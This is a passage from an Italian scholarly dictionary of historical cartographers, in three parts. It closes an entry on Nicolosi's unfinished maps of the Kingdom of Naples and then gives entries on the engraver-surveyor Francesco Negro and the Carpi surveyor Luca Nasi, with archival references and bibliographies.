cui mancò purtroppo il tempo, lo ripetiamo, per lasciarci l’opera compiuta e di limarla. Venendo alla sezione riguardante il Principato Citra, che appartiene alla seconda parte della Descrittione , essa consta essenzialmente dell’elenco dei centri maggiori e minori della Provincia e per ciascuno centro, sistemato alfabeticamente solo rispetto alla lettera iniziale (la serie dei centri che, pur iniziando con la lettere S, sono collocati dopo la lettera V, si trovano fuori elenco perché aggiunti nell’ultimo intervento), sono generalmente indicati latitudine e longitudine, il numero dei fuochi in rapporto ai censimenti del 1595 e del 1669, i dati riguardanti il feudo ed il feudatario nonché eventuali notizie circa la sede vescovile o la presenza di fortificazioni oppure di porti (risultano di particolare valore in rapporto all’epoca le indicazioni circa i porti di Punta degli Infreschi e di Palinuro e lo «scaro» di Vietri di Salerno). Promontori, golfi, fiumi, torri costiere e scogli vi sono, ovviamente, riportati con la sola indicazione delle coordinate geografiche. I dati di questa sezione confluivano con gli altri a formare il quadro complessivo delle notizie che dovevano servire come base e guida alla serie delle tavole geografiche riguardanti le province nonché ad una carta generale del Regno di Napoli, oltre ad alcune carte nautiche con particolare riferimento alle coste e alle isole del Mediterraneo meridionale. Vi sono fondati motivi per credere che qualcuna di queste carte fosse materialmente abbozzata, anche se, come il trattato, non ultimata. Infatti, una Carta del Regno di Napoli il Nicolosi aveva già disegnato nel 1654, ma essa non soddisfaceva la precisa richiesta del committente, che già da tempo precedente aveva espresso il desiderio che fossero realizzate 12 carte particolari delle altrettante province del Regno. Pertanto le successive aggiunte e rielaborazioni dell’originario testo del 1655 erano finalizzate a questa nuova fatica cartografica, per la quale il Geografo tenne a base sia quel primo lavoro, sia le «carte a stampa» di cui egli fa menzione nelle aggiunte del 1669. Sono appunto le indicazioni programmatiche contenute in quest’ultime aggiunte a darci la certezza che il complesso dell’opera cartografica (ivi compresa una nuova carta generale, materialmente presupposta, almeno nell’impianto fondamentale, dal paragrafo: Uso della Descrittione ... e dagli aggiornamenti portati dopo il 1655 alle coordinate geografiche di numerosi centri) per quanto avviata non era stata portata a termine. In merito alla loro eventuale esistenza, tuttavia, non è stato possibile accertare nulla, mentre un paio di schizzi rilegati nel manoscritto miscellaneo della Casanatense sono pressoché insignificanti. Si tratta di un semplice profilo a penna, in iscala ridottissima, delle due coste dell’Italia centrale e di una bozza a matita di una parte del tracciato della strada Taranto-Napoli. Tuttavia per quanto concerne il Principato Citra, sulla scorta delle coordinate geografiche fornite per moltissimi dei centri elencati é possibile ricostruire una carta del territorio che con una certa approssimazione può dare un’idea delle conoscenze cartografiche dell’epoca. È doveroso aggiungere che, grazie alla tenacia e al “fiuto” di un esperto, è possibile oggi avere la visione delle matrici di 3 fogli, quasi sicuramente appartenenti alla carta del Nicolosi del 1654, della quale non è giunto a noi alcun esemplare: «le matrici sono realizzate con il sistema della foratura da spillo; spolverando la matrice con polvere nera, i fori consentivano l’impressione dell’immagine su di un foglio sottostante» (VALERIO, 1993, p. 65). Questo autore ha identificato tali matrici nella sezione manoscritti e rari della Biblioteca di Napoli: si tratta di riproduzioni della terra di Bari e Basilicata, Capitanata e Principato Ultra, Abruzzo Citra e Contado di Molise. La proiezione usata è quella trapezoidale e la scala, «calcolata sulla dimensione del grado di meridiano, risulta di circa 1:360000» (VALERIO, 1993, p. 66, n. 104, nella quale si possono leggere altri particolari e la collocazione delle 3 carte). Se spetterà comunque ad altri studiosi il compito di valutare globalmente l’utilità del recupero e della ricomposizione di una parte di questa più che sconosciuta, ignorata opera del Nicolosi, possiamo intanto affermare in tutta tranquillità che la scrupolosa meticolosità del Geografo rende utilizzabili la maggior parte dei dati fornitici per una più esatta conoscenza di alcuni aspetti del Regno di Napoli nel Seicento e, per quanto ci riguarda, del Principato Citra in particolare; basti solo osservare che i suoi riporti statistici sono molto precisi, molto più corretti in ogni caso di quelli di un Giustiniani, i cui non infrequenti errori hanno inficiato e continuato ad inficiare i lavori di demografia storica. Il Nicolosi utilizza fonti di prima mano ed aggiornatissime (le aderenze che Nicolosi aveva presso la corte pontificia lo mettevano in grado di usufruire di moltissime informazioni dirette, in quanto qui facevano capo un gran numero di funzionari ecclesiastici e laici, che in ragione dei loro uffici avevano conoscenze approfondite delle regioni di provenienza), come si può constatare esaminando i dati relativi ai feudi ed ai feudatari del nostro Principato, per i quali spesso risolve spinosi problemi di successione, riportando a volte accanto al nome del barone del tempo anche quello di chi lo aveva preceduto. Certo, anche il nostro geografo non é immune da errori, materiali e di concetto, e qualcuno macroscopico, come quello di considerare Castellammare della Bruca, un centro tra l’altro pressoché disabitato in quel tempo, quale sede di vescovato; ma ciò era nel bagaglio di un’acritica tradizione di certi autori napoletani, quale un Enrico Bacco (1629), che nello stesso secolo e prima del Nicolosi affermava la stessa cosa. In proposito il Valerio ipotizza correttamente che il Bacco abbia desunto la sua opera da un noto volume del Sofia (1614), nato «come corredo scritto dell’Atlante delle province inciso dal Cartaro nel 1611» (Valerio, 1993, p. 67). Contrariamente all’idea di Spinelli, il nostro Autore non esprime grandi apprezzamenti sulle carte del Nicolosi, riconoscendo però che «l’unica aggiunta sostanziale, nei citati manoscritti è quella relativa alla numerazione dei fuochi del 1669» (Valerio, 1993, p. 67). Anche se, a riguardo del lavoro cartografico, è difficile contestare il giudizio del Valerio, sul piano dell’opera complessiva scritta il geografo siciliano mostra nella scelta delle fonti un’acribia veramente rara in un secolo in cui i più degli autori concedevano molto alle notizie più fantasiose. Infatti il Nostro non prende neppure in considerazione il cosiddetto censimento del 1658, giacché esso fu solo un aggiornamento di dati fiscali condotto in modo molto approssimativo sulla falsariga del vero e proprio censimento del 1595, e pertanto poco indicativo ai fini di una valutazione della situazione demografica del Regno dopo la peste del 1656. La precisa testimonianza del Nicolosi sulla realtà geografica dei suoi tempi, stringata e priva di orpelli campanilistici, può essere dunque con profitto utilizzata nella ricerca. Per fare un solo esempio di quante altre preziose indicazioni si possono raccogliere dalle pagine di questo trattato, cito la testimonianza sull’ubicazione di Paestum, che si allinea alle altre a dimostrare come anche in età moderna, come già nel corso del Medioevo, questa antica città greca, lungi dall’essere caduta nell’oblio degli uomini, continuò ad essere una concreta presenza monumentale fra gli acquitrini e le macchie della Piana del Sele. Per concludere, la ricchezza di dati, di osservazioni, di indicazioni spesso uniche per il secolo, spunti di viaggio, annotazioni sul modo di procedere nell’aggiornamento delle carte geografiche, fanno di questo trattato, al di là della sua compiutezza, un testo non solo di gradevole lettura ma anche degno di essere recuperato all’attenzione degli studiosi.

Autore della scheda: Vincenzo Aversano

Negro, Francesco

Francesco Negro
N. Caltagirone 1 febbraio 1590
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Incisore, dotto in matematica, astronomia, geometria

Biografia:
Nacque il 1/2/1590 forse a Caltagirone, come si può evincere dal Rivelo del 1593 di questa città nel quale è ricordata la composizione del suo nucleo familiare, formato dal padre Paolo, dalla madre Lauriola e dai tre figli Potentia, Francesco e Bernardino. La famiglia era forse emigrata in Sicilia dalla Grecia nel XV secolo, dopo la sconfitta dei Veneziani e la presa del Negroponte da parte dei Turchi. “Negro” indicherebbe, dunque, l’area di origine. E’ probabile che si trattasse di una famiglia di artisti: un documento del 1539 testimonia, infatti, l’esecuzione di un’immagine sacra per la cattedrale di Catania da parte di un “ Nicolaus de Nigro pictor graecus”; un altro attesta che nel 1545 un “Bartolomeus Niger pictor graecus” aveva dipinto un quadro per la sacrestia del Collegio di Piazza Armerina. Fazello nella sua opera “De rebus siculis” ricorda che un certo Franciscus Niger, di Piazza Armerina, era morto durante un’eruzione dell’Etna per essersi avvicinato troppo al cratere.

Produzione scientifica:
Lanciò l’illustrazione dei testi a bulino. Fu autore probabilmente delle 17 tavole volanti che illustrano il libro di Cascini su S.Rosalia del 1629. Illustrò anche il volume De maiestate panormitana. Libri IV di F.Baronio e Manfredi, con disegni firmati “F.N.”. Incise il frontespizio per il volume di Rocco Pirri “Notitiae siciliensium ecclesiarum (seconda et termia notizia)”, stampato a Palermo nel 1633. Forse sono riconducibili a lui una trentina di piccole incisioni in rame anonime, che illustrano il volume “Siculae nobilitatis amphitheatrum” di Baronio e Manfredi del 1639. Elaborò anche il ritratto di Filadelfo Mugnos, inserito nel primo dei tre volumi che compongono l’opera “Teatro genealogico delle famiglie del regno di Sicilia”, stampata tra il 1647 ed il 1670. Incise a bulino anche il frontespizio ornato di elementi architettonici del codice manoscritto di Alfonso Ventimiglia “Idea del Capitano Generale”, conservato presso la Biblioteca Comunale di Palermo (BCP Qq D74) . Per il volume di di O.Paruta “Relazione delle feste fatte in Palermo nel 1625”, stampato a Palermo nel 1651, elaborò un’incisione molto simile, raffigurante l’Arco della Nazione Fiorentina, una struttura effimera creata su commissione dei Fiorentini e ubicata presso la Porta Felice in occasione della festa di S.Rosalia e poi un’altra, relativa all’Arco del Senato di Palermo creato per l’occasione.
Tra il 1644-49 redasse uno studio in latino, conservato presso la Biblioteca Comunale di Palermo, sul rapporto tra peso dei gravi e massa dei volumi con una tavola sinottica relativa al rapporto tra il peso in libbre di una sfera e dimensione del suo diametro in base alla materia di cui è fatta (oro, argento, rame etc.).
Per le sue qualità fu incaricato dalla corona spagnola di indagare sulla sicurezza delle coste siciliane e di elaborare rilievi delle città costiere e delle fortezze dell’Isola. Negro succedeva così a Tiburzio Spannocchi (vedi scheda) e a Camillo Camilliani (vedi scheda) in questo incarico. A tal fine compì tre peripli dell’Isola per visitare le città costiere, ispezionare i luoghi forti (castelli, mura, fortilizi), verificare la consistenza e l’efficienza delle milizie e delle armi, nonché le scorte di viveri, come riferisce G.A.Massa nel suo volume “Topografia littorale” del 1709. In queste sue ispezioni Francesco Negro si accompagnò a Carlo Maria Ventimiglia, uno studioso siciliano assai noto all’epoca. Un suo manoscritto conservato presso la Biblioteca Comunale di Palermo, ai segni Qq D 82, testimonia questa collaborazione e ne costituisce probabilmente la fase preparatoria.
La relazione di Francesco Negro per il sovrano spagnolo consta di due codici, conservati presso la Biblioteca Nazionale di Madrid ai segni Ms 1 e Ms 787. Si tratta di due manoscritti correlati fra di loro, il primo, costituito da disegni, è intitolato “Plantas de todas las plaças y fortalezas del Reyno de Sicilia sacadas de orden de Su Magestad el Rey Don Phelippe Quarto. Anno de MDCXXXX”; misura mm 515x710x80 ed custodito in un contenitore di cartone; è composto da 97 fogli (mm 700x500 con tre mappe di mm 1670x1520), numerati da 1 a 96, con un foglio 94bis. C’è poi un altro foglio non numerato con l’indice dell’opera. Si tratta di disegni di vario tipo: una grande tavola della Sicilia (mm 1615x1690) ottenuta dall’assemblaggio di 11 fogli di mm 450 x 700, una per Palermo (mm 1455x1495, ottenuta dall’unione di 15 fogli di mm 575x360; una per Messina di mm1450x1477, su 12 fogli di mm 485x365 uniti fra di loro: poi Malta mm1155x1060 , Valletta mm 1305x702 e poi Siracusa, Catania e Milazzo su fogli di circa mm 950x700. Numerose le planimetrie urbane, di isole e di penisole, come del resto le piante di fortezze e i loro rilievi assonometrici; molti anche i rilievi prospettici delle città costiere eseguiti in tempi diversi su carta filigrana di vario tipo, in uso all’epoca nell’Italia meridionale, a Venezia e in Sicilia.
Il secondo manoscritto, intitolato “Descripción de Sicilia y sus Ciudades”, si compone di 60 fogli di mm 332x235. Si tratta di una relazione anonima, molto probabilmente opera del Negro e di collaboratori, che accompagnava illustrandolo il primo manoscritto.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
GALLO A., Notizie intorno agli architetti siciliani e agli esteri soggiornanti in Sicilia dai tempi più antichi fino al corrente anno 1838, raccolte da Agostino Gallo palermitano per formar parte della sua storia delle Belle Arti in Sicilia. Palermo, Biblioteca Centrale della regione Siciliana, XV H 44, p.455.
ARICO’ N.(a cura di), F.Negro-C.M.Ventimiglia, Atlante di città e fortezze del Regno di Sicilia.1640. Messina, Sicania, 1992.

Rimandi ad altre schede:

Autore della scheda: Corradina Polto

Nasi, Luca

Luca Nasi
N. 1665
M. 1748

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Matematico, perito agrimensore, cartografo

Biografia:

Produzione scientifica:
Esperto in questioni idrauliche, fu incaricato, nel 1708, di studiare un progetto che rendesse possibile il deflusso dei condotti pubblici di Carpi con la minore spesa possibile; nel 1713 fu promosso soprintendente ai lavori per la definizione dello Scolo delle Grazie (presso la chiesa servita di Santa Maria delle Grazie) e ai lavori per la realizzazione di un canaletto dietro le Beccarie; dal 1715 ricoprì diversi incarichi per la costruzione di strade, per l’escavazione di altri canali e per il rinnovamento degli argini del fiume Secchia nel tratto presso Concordia. L’ultimo incarico pubblico risale al 1733, con la costruzione di una chiavica. La sua attività nel settore idraulico si spiega con i diffusi problemi di drenaggio che hanno interessato in ogni epoca tutto il Carpigiano.
Si hanno notizie di due rappresentazioni cartografiche di Luca Nasi, che sembra avere esercitato le sue attività unicamente a Carpi e nel suo territorio.
La cosiddetta Veduta prospettica di Carpi a volo d’uccello venne stampata nel 1677 a Carpi presso Paolo Abbati (quando l’autore aveva appena 12 anni, il che rende l’opera sorprendente, ma anche controversa): il disegno originale è conservato presso l’Archivio di Stato di Modena (Mappario Estense, Serie generale, n. 336), e da esso successivamente fu tratta una ristampa a Modena, presso l’editore Soliani. E’ orientata con l’est in alto, è corredata da una legenda che riporta i principali edifici religiosi e civili e si caratterizza per un disegno piuttosto grossolano, compatibile con la giovane età dell’autore.
Un ritrovamento recente è la pianta Carpi di Lombardia presa dall’Armi Imperiali li 5 Ag° 1706, fortificata dal sig. Spilberg, disegnata da me Luca Nasi da Carpi: si tratta di una rappresentazione di piccole dimensioni (370 mm x 270 mm), che fa pensare a un abbozzo o a un progetto in preparazione di un prodotto più accurato. E’ stata reperita all’interno del fondo geocartografico della Biblioteca Poletti di Modena, specializzata nel campo delle pubblicazioni di argomento storico-artistico: il fondo, che contiene circa 500 carte dalle tematiche più varie, non è ancora stato ordinato e solo di recente si è proceduto ad un esame sommario degli esemplari che lo compongono. La pianta manoscritta di Carpi rappresenta la città fortificata e un breve tratto della campagna circostante. Il titolo, collocato in alto a sinistra, è inserito in uno stendardo sorretto da un angelo; l’angolo in alto a destra è occupato dallo stemma di Rinaldo I d’Este, il principe regnante all’epoca, mentre nell’angolo in basso a destra due amorini sembrano giocare con la scala metrica. In basso al centro una legenda, in parte asportata per una vasta lacerazione, indica i nomi e la collocazione dei bastioni della cinta muraria, dei conventi, delle confraternite e dell’ospedale degli infermi. La data del 5 agosto 1706 citata nel titolo corrisponde alla conquista di Carpi, dopo un breve assedio, da parte delle truppe piemontesi guidate dal generale Eugenio di Savoia, che in seguito ordinò un rafforzamento delle mura.
Appartiene al Nasi anche una mappa (445 x 555 mm) intitolata Parte del confine della fossa di Carpi contro i beni del sig.r Bartolomeo Grillenzoni, datata 1714 (Archivio Storico di Carpi, Archivio Grillenzoni, cassetta 8, n. 73), che attesta l’attività di perito agrimensore dell’autore.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
A.S.Mo., Mappario Estense, Serie generale, n. 336; Biblioteca Civica d’Arte Luigi Poletti di Modena, Fondo Geocartografico; Archivio Storico di Carpi, Archivio Grillenzoni, cassetta 8, n. 73.

A. GARUTI, F. MAGNANINI, V. SAVI (a cura), Materiali per la storia urbana di Carpi, Comune di Carpi, 1977; A. GARUTI (a cura) Cartografia urbana di Carpi, Carpi, Comune di Carpi, Archivio Storico, 1987; M. GHIZZONI, La pietra forte. Carpi: città e cantieri alle fortificazioni (XII-XVIII sec.), Casalecchio di Reno, Grafis, 1997; G. MAZZA, Luca Nasi nel fondo cartografico della Biblioteca Poletti di Modena, in “Atti e Memorie della Deputazione di Storia patria per le antiche Provincie Modenesi”, s. XI, vol. XXVI, pp. 325-364; E. SVALDUZ, Da Castello a “Città”, Carpi e Alberto Pio (1472-1530), Roma, Officina Ed. 2001; G. TIRABOSCHI, Biblioteca Modenese, Modena, Soc. Tipogr. Modenese, 1781, voce Nasi Luca.

Rimandi ad altre schede:

Autore della scheda: Giovanni Mazza